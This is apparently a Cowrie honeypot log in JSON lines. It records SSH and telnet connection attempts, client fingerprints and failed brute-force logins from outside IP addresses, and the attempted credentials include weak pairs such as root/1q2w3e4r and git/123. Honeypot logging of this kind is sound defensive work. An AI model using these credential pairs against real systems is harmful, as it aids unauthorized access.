{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:53.459280Z","src_ip":"192.109.200.237","session":"ddb6934d30a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:53.541499Z","src_ip":"192.109.200.237","session":"ddb6934d30a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:53.787555Z","src_ip":"192.109.200.237","session":"ddb6934d30a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:54.872544Z","src_ip":"192.109.200.237","session":"ddb6934d30a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0024197101593,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:55.216585Z","src_ip":"212.252.73.4","session":"5f4f4cad249c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34210,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfcdb6ef4cf8","protocol":"telnet","message":"New connection: 50.6.8.71:34210 (10.17.0.5:23) [session: bfcdb6ef4cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:55.437870Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34212,"dst_ip":"10.17.0.5","dst_port":23,"session":"df9fd1318de2","protocol":"telnet","message":"New connection: 50.6.8.71:34212 (10.17.0.5:23) [session: df9fd1318de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:55.621313Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34266,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7822a24c5a1","protocol":"ssh","message":"New connection: 192.109.200.237:34266 (159.203.135.109:22) [session: b7822a24c5a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:57.065831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:57.149398Z","src_ip":"192.109.200.237","session":"b7822a24c5a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:57.157262Z","src_ip":"192.109.200.237","session":"b7822a24c5a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:57.483944Z","src_ip":"192.109.200.237","session":"b7822a24c5a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00136971473694,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:57.670904Z","src_ip":"212.252.73.4","session":"394d2342a39f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86827802658081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:58.175946Z","src_ip":"50.6.8.71","session":"6bfb29bb52f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:58.568569Z","src_ip":"192.109.200.237","session":"b7822a24c5a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.73.4","src_port":35666,"dst_ip":"10.17.0.5","dst_port":23,"session":"93eeba5479b6","protocol":"telnet","message":"New connection: 212.252.73.4:35666 (10.17.0.5:23) [session: 93eeba5479b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:35:59.028977Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45896,"dst_ip":"10.17.0.5","dst_port":23,"session":"d932db381187","protocol":"telnet","message":"New connection: 50.6.8.71:45896 (10.17.0.5:23) [session: d932db381187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:00.397961Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35476,"dst_ip":"159.203.135.109","dst_port":22,"session":"d21bb3a87ce8","protocol":"ssh","message":"New connection: 192.109.200.237:35476 (159.203.135.109:22) [session: d21bb3a87ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:00.650280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:00.655977Z","src_ip":"192.109.200.237","session":"d21bb3a87ce8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:00.738281Z","src_ip":"192.109.200.237","session":"d21bb3a87ce8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:00.988221Z","src_ip":"192.109.200.237","session":"d21bb3a87ce8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:02.074388Z","src_ip":"192.109.200.237","session":"d21bb3a87ce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35488,"dst_ip":"159.203.135.109","dst_port":22,"session":"20a6e90088f8","protocol":"ssh","message":"New connection: 192.109.200.237:35488 (159.203.135.109:22) [session: 20a6e90088f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:04.183818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:04.188913Z","src_ip":"192.109.200.237","session":"20a6e90088f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:04.271902Z","src_ip":"192.109.200.237","session":"20a6e90088f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:04.519617Z","src_ip":"192.109.200.237","session":"20a6e90088f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:05.605315Z","src_ip":"192.109.200.237","session":"20a6e90088f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35502,"dst_ip":"159.203.135.109","dst_port":22,"session":"43002fad5cc2","protocol":"ssh","message":"New connection: 192.109.200.237:35502 (159.203.135.109:22) [session: 43002fad5cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:07.683285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:07.807167Z","src_ip":"192.109.200.237","session":"43002fad5cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:07.812065Z","src_ip":"192.109.200.237","session":"43002fad5cc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:08.144959Z","src_ip":"192.109.200.237","session":"43002fad5cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:09.230571Z","src_ip":"192.109.200.237","session":"43002fad5cc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52042,"dst_ip":"159.203.135.109","dst_port":22,"session":"00487ea0760c","protocol":"ssh","message":"New connection: 192.109.200.237:52042 (159.203.135.109:22) [session: 00487ea0760c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:11.229036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:11.233977Z","src_ip":"192.109.200.237","session":"00487ea0760c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:11.316366Z","src_ip":"192.109.200.237","session":"00487ea0760c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:11.563885Z","src_ip":"192.109.200.237","session":"00487ea0760c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:12.650085Z","src_ip":"192.109.200.237","session":"00487ea0760c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52046,"dst_ip":"159.203.135.109","dst_port":22,"session":"e917cbcfa21a","protocol":"ssh","message":"New connection: 192.109.200.237:52046 (159.203.135.109:22) [session: e917cbcfa21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:14.670229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:14.675554Z","src_ip":"192.109.200.237","session":"e917cbcfa21a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:14.758022Z","src_ip":"192.109.200.237","session":"e917cbcfa21a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:15.006006Z","src_ip":"192.109.200.237","session":"e917cbcfa21a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:16.097225Z","src_ip":"192.109.200.237","session":"e917cbcfa21a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.91147804260254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:16.422372Z","src_ip":"50.6.8.71","session":"555f445e0c90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52050,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9898b2d1799","protocol":"ssh","message":"New connection: 192.109.200.237:52050 (159.203.135.109:22) [session: b9898b2d1799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:18.242713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:18.247256Z","src_ip":"192.109.200.237","session":"b9898b2d1799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:36:18.329286Z","src_ip":"192.109.200.237","session":"b9898b2d1799","protocol":"ssh"}
